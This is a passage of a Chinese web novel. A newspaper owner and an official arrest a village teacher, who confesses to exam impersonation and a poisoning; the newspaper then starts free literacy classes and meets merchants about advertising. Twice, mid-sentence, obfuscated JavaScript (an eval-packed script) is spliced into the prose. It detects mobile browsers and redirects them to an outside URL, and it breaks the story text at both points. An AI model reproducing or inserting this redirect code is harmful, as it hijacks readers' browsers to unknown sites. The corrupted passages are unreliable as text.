收到情报后不多时,许昭前往贡院调取“方知瑜”的原卷,暗中收集方知瑜本人和柳玉成的字迹进行比对,又寻了个由头与方知瑜谈论考题,基本可以确定柳玉成替考之事属实。 随后不久,又有几名知情人向许昭提供线索,言说柳玉成正在京郊的清源村中当教书先生。为了不打草惊蛇,许昭派人密切关注方知瑜的动向,同时带上陈暄和两名下属,与孟允抒迅速赶往清源村。 时间紧急,孟允抒和许昭在车内坐定后,这才得了空,谈论彼此对案件的猜测。 马车在路上疾驰,将两人的声音遮盖了大半。 “陈修远是在进京赶考后才与柳玉成结识。根据柳玉成的口供,两人是在书肆中买书相遇,因对书中论点所持观念一致,故而聊得十分投机。” 许昭回忆着卷宗记录,将他们已获取的情报串联起来。 “且不论柳玉成这段证词的真伪如何,他们两人在同一时间、同一地点参加科考,就有碰面的可能。” 他的言下之意是,陈修远或许知道柳玉成替考之事。 这是对陈修远一案最合理的解释。如此一来,柳玉成就有了作案动机,方知瑜也具有买通县衙官员的实力。 纵观当下他们所掌握的信息,所有人的证词都指向了柳玉成。只有先找到他,才能进一步推断案件真相。 想到这孟允抒有些纳闷,她问许昭:“现今距离县衙结案已是半月有余,柳玉成若是畏罪潜逃,他为何不趁早离开京城隐姓埋名,而是躲在京郊?” “清源村是柳玉成的故乡,在那里生活到底方便些。况且陈修远一案已经尘埃落定,他大概也存着侥幸心理。”许昭转而说道,“但以上只是我个人猜测,具体原因如何,恐怕只有我们亲自问过柳玉成后才能得知。” 调查再次陷入停滞,孟允抒只能将注意力挪到当下,听着马蹄叩击地面的脆响。 清源村距京城中心有八十余里,五人一大清早就踏上行程,待几辆马车行至村口时,已是黄昏时分。 马车的速度逐渐放缓,最后停了下来。前方的路太窄,马车不方便通行,于是几人下车步行。 孟允抒踩到地面上,环顾着四周的环境。清源村本就是个人口密集的大型村落,周边还有不少零散的小村庄挤在一起,村里的道路错综复杂,他们当前并不知道柳玉成的详细住址,要找到他还得花上一番功夫。 她看看村口的那户人家,篱笆圈起一片空地,房前的台阶上坐着一个半大少年和一个小女孩,男孩十四岁左右的模样,女孩看上去只有八九岁,两人正在说着些什么。 孟允抒对许昭说道:“我们去问问,看他们是否知晓柳玉成住在何处。” 许昭点头应允,当孟允抒靠近篱笆时才发现,那女孩手里捧着本书,男孩则拿着根木棍在地上写写画画,像是在给她讲解算术题。 她在门前停下脚步,露出和善的微笑:“小兄弟,还有那位小姑娘,请问柳玉成是你们村里的人吗?” 两个孩子闻声都抬起头来,男孩站起身,将女孩护在身后,向她打了个噤声的手势,警惕地盯着他们。 他并未回答孟允抒的问题,反问她道:“你们是什么人?” 今日为了路上方便,许昭等人未着官服,旁人不能像往常一样从他们的打扮上认出其官员身份。 这两个孩子不是城里人,他们应当没有听过报社的名号,孟允抒觉得她的身份解释起来太麻烦,干脆把许昭推了出去:“这位是刑部郎中许大人,我们四人都是他的随从。” 男孩闻言,将目光从他们五人的脸上依次扫过,当他再次看向许昭时,眼神中带上了几分敬畏。 孟允抒要的就是这个效果。她方才这句话把许昭的形象衬托得无比伟岸,威风八面。 许昭只能就坡下驴,学着孟允抒的样子打起官腔来:“今日我来村中寻找柳玉成,想要让他助我查明一桩冤案。我有腰牌为证。” 许昭上前一步,将腰牌递给男孩。 对方显然分辨不出腰牌的真伪,他装模做样地浏览了一遍腰牌上的各种信息,将信将疑地问道:“你们要找柳先生?” “对。”孟允抒点头,“你认识他?” “嗯。”男孩的语气坚定,充满自豪,“柳先生是我们村里的教书先生,他是个好人。如果有冤案需要平反,他肯定会鼎力相助。” 陈暄听到这话突然露出一个笑容,但那笑容中满是讥讽。 男孩没察觉出陈暄笑容中的古怪,他看了看村里来来往往的行人,像是在估量自己接下来行动的安全性。而后他开口说道:“村里的路不好走,我带你们去吧。” 孟允抒喜出望外,向男孩连连道谢。 男孩叮嘱小女孩看好家,锁上大门在前方带路。孟允抒跟在他身后,和他聊起了闲话:“她是你妹妹吗?” “对。” 孟允抒又问了他几个问题,但男孩似乎有心防备着他们,每个回答都十分简短。 “我方才看到你和你妹妹在地上写字,你们都在那位柳先生的私塾中念书?” 得到男孩的肯定答复后,孟允抒看向许昭。 他的神情和孟允抒一样,向男孩投来惊异的一瞥。 在胤朝,平民阶层的读书人本就是少数,女子念书更是贵族小姐的特权。乡野间的女童捧着书看,简直可谓一大奇观。 孟允抒不动声色地说道:“小兄弟,我无意冒犯你,但我实在疑惑。我见你们的家境并不算富裕,你们爹娘居然愿意供你们兄妹二人一同读书?” “并非如此。当初我念书时就经历了许多波折,到我妹妹那里更是如此。”男孩第一次说了个长句,“所以我才说柳先生是个好人。” 他抬起头,盯着远方的地 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男孩向他们讲述着书院的概况:“平日里先生们都在前庭授课,后院是他们的居所。中庭里有藏书阁,我们可以从中借阅各种典籍。” 他带五人走进前院,指着东边的那处房间对他们说道:“半个时辰前我们就已经散学,但柳先生通常会在惜时堂中多坐一会,在课后为我们答疑解惑。” 在他的指引下,孟允抒拾阶而上,随他进了屋子。 她此前已经见过柳玉成的画像,因此一眼便认出了他。柳玉成正坐在惜时堂的最前方,左右围着六七个学生,认真聆听着他的教诲。 “柳先生,这几位大人有事寻你。” 柳玉成周围的学生听到男孩的话纷纷转头,而后自觉地为柳玉成让开一条通路,好让他能看清楚来人的样貌。 当柳玉成的目光落到陈暄脸上时,他眉头微蹙:“你竟然一直寻到了这里。” 陈暄一个箭步冲上前去,当即就要发作,所幸许昭及时拦住了他。 “你要干什么?” 几个学生挡住陈暄,他们对眼前的状况一无所知,却肩并肩地站成一排,用身体护住柳玉成。 “抱歉,他向来有些冲动,我们并无恶意。”许昭令两名下属拉住许昭,又拿出自己的腰牌自证身份。 趁着许昭向柳玉成解释详情,孟允抒扫了眼这间学堂的环境。 屋内摆着三十张杉木书案,案头的笔墨纸砚一应俱全。这样看来,学生来上课时只需要带上书本即可,连文具都不需要自备。 柳玉成听许昭说完大致情况,又看了他的腰牌,语气和缓地遣散堂内的学生:“放心,他们是官府中的大人,没有恶意。你们几个先回家,有问题的话明日再与我讨论。” 几个学生踌躇了一会,在柳玉成的再三劝说下陆续离开。随后,柳玉成起身向孟允抒等人行了一礼,请他们换个地方说话。 “既然几位大人有要事在身,那就请随我到正厅详谈。” 26. 寒士欢颜 几人进了正厅在桌边落座,柳玉成关上大门,为他们倒了茶,看看陈暄说道:“几位可是为陈修远一案而来?” “是,却也不全是。” 孟允抒抿了口茶水,看似漫不经心地说起一个与案件无关的话题:“我见明德书院窗明几净,器具齐全,陈设整洁,恐怕得花上一大笔钱,柳先生真是宅心仁厚。” “孟社长谬赞了,明德书院并非由我出资建成。”柳玉成自谦地笑笑,“清源村的村民很多,孩童却没有就近读书的地方。几年前一些大家和乡绅慷慨解囊,共同修建了这所书院。” 柳玉成的回答显然是避重就轻。在来书院的路上,孟允抒一行人已经向男孩了解其详情,起初明德书院的确是由几名富人出资设立,但两年后他们就对其撒手不管,是柳玉成和其余几名先生接手书院,靠着自掏腰包苦苦支撑。 “我幼时也是在村中的私塾念书。若是没有那些先生的教诲,我也不可能在科考中崭露头角。所以我尊称您一句‘柳先生’。” 许昭盯了一会面前的茶水,他抬起头问柳玉成:“我想知道,您学识渊博,为何不通过科举入仕大展宏图,却宁愿待在这方寸之地?” “因为我从很早以前就立志要当教书先生。”柳玉成不假思索地回答。 接着,他详细讲述了他作出这一决定的原因。 “清源村是生我养我的地方,我自幼在此处长大。我亲眼见到邻居家不到十岁的女童被卖给他人做陪房,也听闻去大户人家中做小厮的男孩被雇主活活打死,随便找个地方草草一埋。” 柳玉成的声音低哑。 “有年村里的庄稼收成不好,我和几个识字的好友去京城买了农书和农具,想要改进劳作的方法,但村民们拿到农具后没过两天就将它们转手卖了出去,用换来的银子饱餐一顿,又继续过穷困潦倒的生活。” 柳玉成握紧双拳,将指节攥得发白。 “我想让他们活得像个人,能够思考,明辨是非,而不是成为被人操纵的傀儡,任人驱使的牛马,浑浑噩噩地苟活于世。” “说得倒是好听。” 陈暄猛地站起,由于他的动作幅度过大,椅子随着他起身的动作轰然倒地,发出一声巨响。 孟允抒发现,不知何时,陈暄已经是泪流满面。 他的声音饱含痛苦与愤怒。 “你将那些孩童从蒙昧中唤醒,可然后呢?让他们蒙受冤屈,遭遇不公?”陈暄拍着桌子大吼,“要像修远那般寒窗苦读十几载,终于出人头地却含冤而死,还是被你这样的替考者从金榜上生生挤掉,让那些纨绔子弟不费吹灰之力就加官进爵?” 面对他突如其来的质问,柳玉成没有防备,他惊恐万状地看向陈暄:“你在说什么?” “我已经从贡院中找出了你的答卷,也找到方知瑜本人问过话。”许昭替陈暄作出回答,“柳先生,念及你的善举,我不想直接将你带走刑讯逼供。还请你主动将代替方知瑜参与科考之事、陈修远一案的内情如实道来。这样一来,给你的判罚或许还能轻些。” 听到许昭的话,柳玉成脸上的错愕逐渐消散。他没有反抗,只是平静地靠在椅背上。 柳玉成沉默良久,缓缓地说了一句话。 “这一天终于来了。” 他长舒一口气,如释重负般地看向许昭。 “许大人,我会将实情全部告知于你。” 许昭叫下属拿来笔墨纸砚,将其分发给除陈暄以外的三人,示意柳玉成开口。 他沉思片刻,像是在回忆事情的来龙去脉,寻找一个切入点。 “方知瑜的父亲是个富商,各位大人应当略有耳闻。只是方家虽有家财万贯,却无人在朝为官。” 且不论世人公认的“士农工商”的阶层排序,一个富商要想走得长远,将家产代代相传,就需要家中有人在官场中立足。 尽管他们已经是锦衣玉食,却也不会放弃蝇头小利。即使方知瑜只能做个芝麻小官,对他们来说也是锦上添花。 “方知瑜被全家人寄予厚望,但他平日游手好闲,不喜念书,根本不可能在科考中取得名次。因此,他们四下打听,看有无合适人选替他考试。方家的一名家丁与我相识,他将消息透露给我,言说我若是能帮方知瑜做成此事,方家人将会以重金相谢。” 柳玉成低下头。 “如你们所见,运营明德书院的开支不小,村中又有许多孩童付不起学费,先生们也需要钱财生活。方家出手阔绰,我刚应承下此事,他们就给了我二百两银子。方家人告诉我,他们会打点好一切,只需要我报上方知瑜的名号,直接去考试即可。” 柳玉成停顿片刻,叹了口气。 “考试进行得十分顺利,临近会试时,为方便赶考,我暂时在城中落脚居住。那日我在书肆中与修远相逢,他对我一见如故,非要让我将姓名与住址告诉他。我挣脱不得就只能照做。” “会试结束后,修远曾请我一同吃饭,替我惋惜许久,说以我的学识不可能落榜。我当时并未听出他的弦外之音。” 孟允抒的笔尖一顿,抬眼看向柳玉成。 “直至殿试放榜,修远又来找我,质问我为何要帮助他人舞弊。这时我才知道,他曾与我在同一地点参加会试,无意中听到我用的是‘方知瑜’的名号。后来在殿试中,他确定了我是替方知瑜参加考试。” 柳玉成不敢直视陈暄的双眼,只能将头深深埋下。 “修远性情直爽,为人坦荡,无论我如何解释或劝说,他都不肯饶恕我,一定要让我主动向官府认罪。但我好不容易走到这一步,眼看着我就能用方家给我的钱财贴补书院,我绝不能让这个目标毁于一旦。” 陈暄几乎马上就要扑向柳玉成,许昭死命地按住他,让他冷静。 “所以,我将此事告诉了方知瑜,和他商讨应对之策。他担心事情败露,于是提出了一个计划。” 柳玉成痛苦地闭上双眼。 “方知瑜让我约修远出来吃饭,事先在酒中下毒。若我能与他谈和,就可以放他一马;若是不成……” 他没有将这句话说完。 “总之,方知瑜已经做好了两手准备,会为此事兜底。他只需要我动手。起初我并不同意,方知瑜威胁我,既然如此就做好与修远一同丧命的准备。我别无选择,最终只得应允。” 柳玉成又讲了案发后他的所作所为,与潘掌柜所述一致。 “解决此事后,我尽快搬离了城中,回到清源村。可当我用钱填补书院的空缺后,我始终良心不安。” “我一面担心官府的追捕,一面害怕方家人会暗中谋害我。我不仅寝食难安,随便一个风吹草动都会让我心悸许久。” 他看向面前的五人。 “好在这一切都要结束了。我没有勇气主动认罪,但既然你们已经查出我的替考之事,我再挣扎也是徒劳,不如将真相和盘托出。” 末了,柳玉成看了看陈暄,向他致以深切的歉意。 “你说得没错。我做了这样见不得光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478274|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,得了脏钱,即使这钱是用来帮助那些学童,我也已经在无形中为虎作伥。修远是个正直的人,我确实该给他偿命。” 许昭又向柳玉成询问了一些案件的细节及相关证据,他一一作答。 柳玉成对他的罪行供认不讳,听完他全部供述的这一刻,陈暄却没了先前的激动。 他想大骂柳玉成,可他张开嘴,最终也没能发出一点声音。 孟允抒收好面前的纸张,只觉得它重如千钧。 “许大人,在我走之前,容我再向其他先生交代些书院的相关事项。” 许昭答应了他的请求。 柳玉成办完事后,他伸出双手,示意许昭为他戴上枷锁。 “刑具是给恶人用的。”许昭语气平淡地说了一句,对两个下属说道,“带他走吧。” 一行人走出门外,方才的那几个学生还停留在书院外没有离开,他们见状迎上来问:“柳先生,您要去哪?” 柳玉成勉强挤出一个笑容:“这几位大人在查一桩冤案,需要我当堂作证。” 一名看起来很开朗的女孩看向孟允抒等人,满眼敬佩:“你们就是柳先生所说的‘清官’?” 孟允抒和许昭都默不作声,陈暄则点点头。 “真好。几位大人一定要平反冤屈,造福百姓。”她又看向柳玉成问,“先生,那您什么时候回来?” 在柳玉成决定先撒谎骗过这些学生时,许昭抢先作出了回答。 “等事情办完以后,他就会回来。” 这些学童一直跟着他们走到马车旁,注视着柳玉成上了车。 车夫拉起缰绳,车轮开始缓缓转动。 孟允抒撩起车帷,看向那几个孩子。 他们口中喊着“柳先生再见”,恋恋不舍地跟着马车往前跑,就像飞蛾追逐着火光。 孟允抒心中五味杂陈。她看向柳玉成,他只是低着头,一言不发。 她不知道他是在懊悔还是悲伤、担忧,又或许三者兼有。 柳玉成一经获罪,即使能保住性命,再回到书院恐怕也得几十年以后。他的赃款更不必说,肯定要尽数上缴。 为了维护公道,他们必须将柳玉成抓获归案,可这样一来,明德书院的孩童们前途堪忧,甚至还有许多人会失去读书的机会。 正确的做法却没能带来完美的结局。 许昭发觉车内的两人情绪低落,出言宽慰道:“柳先生,只要你在接下来的取证中积极配合,勇于揭发方知瑜的罪行,就能将功补过,减轻刑罚。” 他看向窗外,那几个孩童的身影已经被马车远远甩在后面,只留下几个模糊的小点。 “待我将这桩案子了结之后,我会上疏奏议,尽力请陛下为明德书院批下一笔专款。” 这话启发了孟允抒。 法不容情,柳玉成被定罪是板上钉钉的事,但他们或许可以用其他方式替柳玉成实现心愿。 她倏忽想起,昨日傍晚客流高峰时段,曾有一个妇女进来报社瞧热闹。当时秋盈曾问她是否需要买报,那女子尴尬地笑笑,说她不识字,只能听旁人念着小报上的新闻。 若她能在报社中定期开展免费课程,不但能提高民众的文化水平,同时也能让许多潜在受众能够读懂报纸,还能趁机推广他们报社的知名度,是一举三得的好事。 孟允抒有了新主意,心绪稍稍平静下来,向柳玉成投去敬佩与感激的目光。 柳玉成犯了大错,但不可否认,他的确是一位良师。 27. 营销 按照孟允抒的吩咐,店内的几个伙计将两块蒙着纸张的木板搬到采闻堂。 孟允抒指挥着他们将木板放到居中的位置:“再往右边挪一点,对。拉开两个木板之间的距离。” 胤朝没有黑板和粉笔,孟允抒就想了这么个办法,找来两块大木板,将白纸蒙在上面,用毛笔在上面写字时注意少蘸些墨,这样就可以实现类似现代社会的教学方式。 她走到采闻堂最后方,打量着两块木板,确认在此处也能看得见上面的文字。 在那两块木板当中,左边那张纸上已经写满了字,从《三字经》的第一页讲起,直至宣纸上写不下为止;另一张则是空白,供她根据课堂内容灵活调整。 排云兴冲冲地从门外快步走来,她身后还跟着两个身着素色衣衫的女子:“孟社长,她们是来参加识字会的。” 孟允抒热情地迎进两人,请她们落了座:“两位娘子请稍候片刻,待巳时一到,我们就开始授课。” 从回城后孟允抒就开始着手准备讲学事宜,她联想到曾经在现代书店见过的“读书会”活动,觉得这是个不错的营销手段,在传播文化的同时也能推销店内的商品。于是,她借鉴这种模式作了初步的计划和安排,对外放出报社要举办“识字会”的消息。 首次识字会将由她主讲,根据课程效果和反响再作调整。 两人向孟允抒道过谢,其中一人腼腆地笑了笑:“我夫君每日都要看报,案上堆满了纸张。我听他说,小报上有诸多奇闻轶事,我心生好奇,却因不识字而无法读懂其中内容。近日我曾听闻黎民报社中要举办识字会,故来洗耳恭听。” 孟允抒没和她们聊上几句,因为在她们之后又陆续来了不少人,孟允抒店内的伙计跑前跑后,忙着招呼来客。他们大多衣着简朴,不少人还穿着破破烂烂的草鞋,打眼一看就是最寻常不过的平民。众人来听课的理由也各不相同,有单纯前来瞧新鲜凑热闹的,有带着孩子来蒙学的,还有像那妇人与从前的排云一样,为了能够读书看报而学习识字的。 很快,采闻堂中就挤满了人,呈现出一派沸反盈天的景象。 当孟允抒再次折返回门口时,发现那里站着一个熟悉,但令她十分意外的身影。 她惊疑地看向陈暄。 “你怎么来了?” 陈暄尴尬地抹了下鼻子,装出一副打量采闻堂的样子:“我听闻你们报社要举办什么识字会,心生好奇,所以来看看。” 他踌躇了一下补充道:“你和许大人为修远申了冤,我感激不尽。你若是有什么需要帮忙的地方,就尽管开口。” “你先进来吧。”孟允抒带陈暄进了门,寻了个空处落脚。她觉得他的表现挺稀奇,忍俊不禁道:“平日你说话总是夹枪带棒的,这会来帮忙,反倒不好意思起来了。” 面对她的调侃,陈暄赶紧岔开话题问道:“这些人都是来参加识字会的?” 孟允抒回头望向满堂的来客,点了点头。 他沉默片刻,而后露出一个释然而苦涩的微笑。 “如此一来,他的心愿也算是实现了。” 孟允抒当然明白陈暄口中的“他”是指谁。 许昭押送柳玉成至刑部之后,陈暄就在第一时间给陈修远的家人写了信,向其告知案件真相,并联合他们写了谅解书,请求刑部官员对柳玉成宽大处理。 陈暄说,因为陈修远的死,他永远不会原谅柳玉成。 但是,他希望这世上能早日多出一位柳先生。 孟允抒看了看院中的那个滴漏,发觉时间差不多了。于是,她站到采闻堂最前方,高声维持纪律:“请诸位安静一下,识字会要开始了。” 她看向采闻堂后方乌泱泱的人头说道:“我们社中没有那么多椅子,辛苦后面的那些兄弟姐妹站着听讲。麻烦个头高的人往后站站,别挡着后面的人。” 除过她这个主讲人外,排云担任此次识字会的助教,还有另外一名伙计作为机动人员,加上陈暄这个志愿者,在几人的合作下,不多时堂内就安静下来。 管理好秩序后,孟允抒继续说道:“感谢诸位莅临黎民报社,参加此次识字会。我们再次承诺,识字会是由报社自发举办,不会向诸位收取任何费用。” 她扫视了一圈屋内的人。男女老少都仰起头,一齐向她投来目光。在这些目光当中,有的是困惑,有的是好奇,还有的是感激。 恍惚之间孟允抒仿佛看到,在他们身后,站着江芷兰,还有柳玉成。 虽然他们的身份、性格、际遇都截然不同,但他们共同构成了一个词汇。 “这就是‘人’。” 孟允抒指着木板上的第一个字说道。 她拆解着这个字的结构:“‘人’字由一撇一捺组成,它们彼此支撑,互相搀扶,构成了这样简单却和谐的字。” 将第一句话的每个字都单拎出来讲解后,孟允抒让大家齐声朗读一遍。 粗犷与轻柔的声音混在一起,沧桑的语调和着清脆的童声,将这句话拉得很长。 “人之初,性本善。性相近,□□——” 孟允抒解释起了句子的含义:“这句话的意思是说,人在刚出生时,本性都是善良的,性情也很相近。但由于后天的学习环境不同,每个人的习性就会产生差异。这就是学习和教育的重要性。” 事实上,孟允抒不信奉任何“性善论”或“性恶论”的观点,但要和眼前的这些民众讨论这些显然为时过早。他们甚至都不认得几个字,更遑论令他们进行哲学上的思辨。 然而,即使他们只能迈出小小的一步,那也是极为难得的成就。 第一次识字会圆满结束后,众人三三两两地离开,陈暄也随之告辞。临别前他告诉孟允抒,以后他若是有空,也可以充当主讲人的角色。 孟允抒低头整理着她在识字会上所用器具,门口突然响起一道热情洋溢的男声:“孟社长,您这会忙吗?” 孟允抒抬头看向那人,回忆了一下问道:“你是揽月阁的伙计?” “您真是好记性。” 他就是那个前些天被福临楼的两人刁难的店小二。 孟允抒和许昭查明陈修远一案后,揽月阁的嫌疑彻底被洗清,谣言也不攻自破。几日前潘掌柜为表感谢,一定要请他们吃饭。他盛情难却,最后两人就应了下来。 这会伙计来应该是替潘掌柜传话的。 “先前我们掌柜请您和许大人吃饭,本来定的时间是明日中午,但昨日揽月阁中突然来了其他几个店铺的掌柜。”这位伙计干多了跑堂的活,嘴皮子相当利索,“有永乐巷成衣店的胡掌柜、韵宁茶坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489937|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杨掌柜、驻颜阁的赵掌柜……” 孟允抒听得晕头转向,但那伙计居然连一个绊子都没打,语速飞快地介绍完了各位来宾。 “他们来寻潘掌柜,想让他牵线搭桥,将您和许大人介绍给他们。这几位掌柜平日也经常忙得抽不开身,他们近期只有今晚都有空。所以我们掌柜赶紧派我来问问您,若他更改时间,看您是否还能来赴约。” 虽然孟允抒没能将那几个掌柜的身份全部记下,但她不难推测这些人的目的。 陈修远一案得到重审后,许昭串联证据推翻原判,冲破重重阻挠后将方知瑜抓获归案,他与柳玉成各自被定了罪,涉案官员也悉数落网。 与此同时,孟允抒连着出了几期的跟踪报道,通过小报讲述了他们的调查过程和案件经过,将真相公之于众。因此事涉及的势力众多,讨论度极高,一时间黎民日报供不应求,报社一夜之间人满为患。 从此之后,孟允抒不用再为报社没有名气而发愁了。 那伙计所提到的这几个掌柜应当是想和报社合作,借吃饭的机会与孟允抒结识。运气好的话,她应该能接到不少广告。 接广也是报社中一项很重要的收入来源,孟允抒生怕错失几位金主,当即答应下来。 “有劳你回禀潘掌柜,酉时之后我就没什么事了,一切听从潘掌柜安排。” 伙计前脚刚走,秋盈又跨过采闻堂的门槛,满面春风地向孟允抒报喜。 “社长,我已经和那些合作方谈妥了,他们愿意以更高的进价买我们的报纸。这样算下来,我们每个月的收入能翻四五番。” 秋盈口中的合作方包括京城中的众多摊贩,以及刚刚诞生不久的职业卖报人。 孟允抒听到这个消息也是喜上眉梢。她果真没有看错,秋盈是她的得力助手,将店内的一切事物都管理得井井有条,为她减轻了不少负担。 “既是如此,姐姐每月的薪酬也该翻上四五番。”她对秋盈笑道,“这些日子辛苦你了。” “这是我分内之事,我乐在其中呢。” 秋盈和孟允抒调笑一会,复而正色道:“还有件事我想和你商量。有些客官住得离报社远,没有每日前来买报的空闲,所以我在考虑直接将报纸送到他们的指定地点。你若是同意,我就派人前去收集他们的信息,合理安排送报的路线。” 发展订报业务有助于增强读者粘性,一旦这些人成为黎民日报的老主顾,他们报社就能获得稳定的资金来源。 孟允抒发觉,秋盈现在愈发有职业女性的模样,整个人都不像从前那般循规拘礼。 “这主意不错,此事就交给你了。”孟允抒对秋盈的变化喜闻乐见,大力鼓励她放手去做,“你办事,我放心。” “行,那我就将此事分派下去了。” 秋盈离开后,孟允抒也带着收好的笔墨回到办公室。 她坐在椅子上喘了口气,又开始思索晚上面见那几位掌柜的事。 孟允抒好歹也是在职场上混过几年的人,姑且算得上伶牙俐齿,酒量也不错,倒是不担心和这些商人打交道。 唯一的不稳定因素是许昭。 孟允抒已经见识过许昭独特的社交方式,虽然不太礼貌,但为了报社的前途,她决定提前委婉地告诉许昭,让他在席间尽量少说话。 28. 商业合作 傍晚,孟允抒准时来到揽月阁,她的一只脚刚刚跨过门槛,顿时就被此起彼伏的笑声淹没。 胤朝没有宵禁,人们的夜生活相当丰富,此时的揽月阁中人满为患,热闹程度甚至远超白天。东边的舞台上,有乐师与舞女进行着歌舞表演;而在另一侧的角落中,说书人正讲述着前些天陈修远的案子,作为来客吃饭时的助兴节目。 那名说书人正讲到精彩处,不少食客纷纷放下手中的筷子凝神聆听。孟允抒对此场景十分满意。 前些天陈修远一案告破后,潘掌柜曾问孟允抒需要什么报酬,她就向潘掌柜提议合作,请揽月阁的说书人兼职唱报,讲述每日新闻头条,若有客官对其所讲的新闻感兴趣,可花上三文钱从说书人处购买小报。 孟允抒赶着去赴约,顾不上在此处驻足逗留,径直往楼梯的方向走。 尽管四周是一片喧嚣,眼尖的店小二依然马上发现了孟允抒,小跑着来到她身边,脸上堆满笑容:“孟社长,您可算来了,我们掌柜一直盼着您呢。请随我来。” 孟允抒跟着伙计来到二楼一处雅间,隔着门就能听见里面传来的高谈阔论。 她固然喜欢人多的地方,但上了一天的班,她一直没空休息,当前精力严重不足。现在四下都是吵吵嚷嚷的声音,孟允抒还没进去就已经感觉到头疼了。 没办法,要赚钱的嘛。 她拦住伙计推门的动作,先请他去忙,自己则通过门缝瞅了一眼屋内的情况。 屋内已经坐了八个人,只有许昭身边还有个空位,显然这座位是给她预留的。看来,所有宾客都已经到齐。 除此之外孟允抒发现,许昭在一群圆滑世故的商人中格格不入,他一言不发地靠在椅背上,神情恍惚,连眼睛中都没了光彩,像极了被迫营业的社畜。 看上去他还坐在桌边,实际上人已经走了有一会了。 许昭一开始并没有答应潘掌柜的邀请,但后来听说孟允抒要来赴约,担心她夜里一个人回家的安全问题,于是又改口同意。 真是难为他了。 为了给那些掌柜留下一个好印象,孟允抒调整好状态,摆出一副温柔可亲的微笑走了进去:“诸位掌柜抱歉,报社事务繁忙,我来迟了。” 桌上的人闻声暂时中止了谈话,纷纷向孟允抒起身行礼,潘掌柜对她笑道:“孟社长近日忙得抽不开身,我们都能够理解,快请坐。” 他所指的方向正是许昭旁边的那个椅子。 孟允抒坐到许昭身边,装模做样地问他:“许大人好久不见,你近来可好?” 许昭谨记孟允抒的提醒,冲她微微一笑,机械地背着台词,连点头的动作都变得僵硬:“多谢孟社长挂念,一切顺利。” 孟允抒不敢直视许昭的脸,生怕她一个忍不住会笑出声。于是她迅速结束了与许昭的对话,将目光投向对面,听潘掌柜向桌上的宾客介绍彼此的身份。 她应和着潘掌柜的介绍,余光瞥见许昭一反常态的神情。自从她坐到许昭旁边,他就突然来了精神,整个人都容光焕发起来,这会正兴致盎然地听他们说话,满脸都是喜气。 孟允抒不明白,她当初到底为什么会觉得许昭的心思难猜。 双方初步相识后,那名韵宁茶坊的杨掌柜率先举起酒杯笑道:“先前我从潘掌柜那里听到孟社长的名号与事迹,还以为社长是个刚强泼辣的人。今日有幸得见,孟社长竟是这般温婉灵秀的女子,着实令人意外。” 孟允抒觉得这人分明是笑里藏刀。 她听得出对方的不信任,话里话外都是对自己的试探。 孟允抒回敬给对方一个笑容,与他碰了杯。 “杨掌柜此言差矣。你我都是生意人,最忌讳以貌取人,掌柜与我相识不到一刻,只从外表上断定我的性情未免太过草率。” 说罢,她仰起脖子,一口将杯中的酒饮了个干净。 这酒名叫清波摇,气味香醇但入口浓烈,如利刃滚过喉咙,火辣辣的感觉从食道一直延伸至胃中。孟允抒凭直觉判断它的酒精度数不低。 潘掌柜见状出来打圆场:“这酒虽好,喝多了却会伤身。孟社长,小酌怡情。” “潘掌柜所言极是,只是这杯酒对我来说实在算不上什么。”孟允抒抬眼看向杨掌柜,“我看杨掌柜身材魁梧,照您的说法,饮这一坛也应当没有问题吧?” 听到孟允抒的回答,杨掌柜并未生气,与其他几人一同大笑起来:“我早就听闻孟社长口齿伶俐,今日一见果真名不虚传。” 在旁边目睹了全过程的许昭神情迷茫,看上去完全没理解他们在打什么哑谜,只能附和着众人一起尴尬地微笑。 孟允抒一早就知道,他们今日聚餐的本质是潘掌柜向她和许昭答谢,那些掌柜对此当然也心知肚明,胤朝人又讲究风雅,不可能在桌上做比酒量这种庸俗之事。 杨掌柜只是在判断她的行事风格,以此确定两人打交道的方式。 酒过三巡后,他们的关系愈发熟稔,孟允抒妙语连珠,桌上的人笑得前仰后合,免不了一番商业互吹。 其中,孟允抒听到最多的夸赞是“女中豪杰”。 她听到这句话时虽面色如常,内心却有些怅然。 胤朝毕竟还处在封建时代,相较男子来说,女子经商并不普遍,更别说经营管理整个店铺。他们的这句夸赞恰恰说明孟允抒的身份与行为罕见,可这本应是一件稀松平常的事情。 待桌上的酒菜都消失大半后,几人不再动筷,只是偶尔饮一口茶水。 开成衣店的胡掌柜放下茶杯,坐直身子笑道:“孟社长能将黎民日报销往京中各处,令报社的名号响彻整座京城,我实在佩服。今日通过潘掌柜的引荐,我们也与社长结交为好友,还望您多多关照。” 孟允抒听他这话就知道,这些人终于要和自己商量正事了。 “胡掌柜不必拘礼,你我都是朋友,自然该彼此照应。” 胡掌柜心里有了底,向孟允抒表明他的来意:“实不相瞒,近日我们店中的生意不大景气。先前我与店中伙计绘制出一批图纸,按照其样式做出新衣,但知情者并不多,也有许多人不曾了解其中所含的匠心,只有寥寥几人购买。” “因此,我想请孟社长为店中的新衣款式进行宣传介绍,吸引更多人来店中一探究竟。需要多少钱您尽管开口,一切都好商量。” 孟允抒等的就是这一刻,她按捺住心中的兴奋,装出一副云淡风轻的样子,显得她像是个见惯大场面的人,像是每天都能谈上千两银子的生意。 “胡掌柜所营成衣店享誉 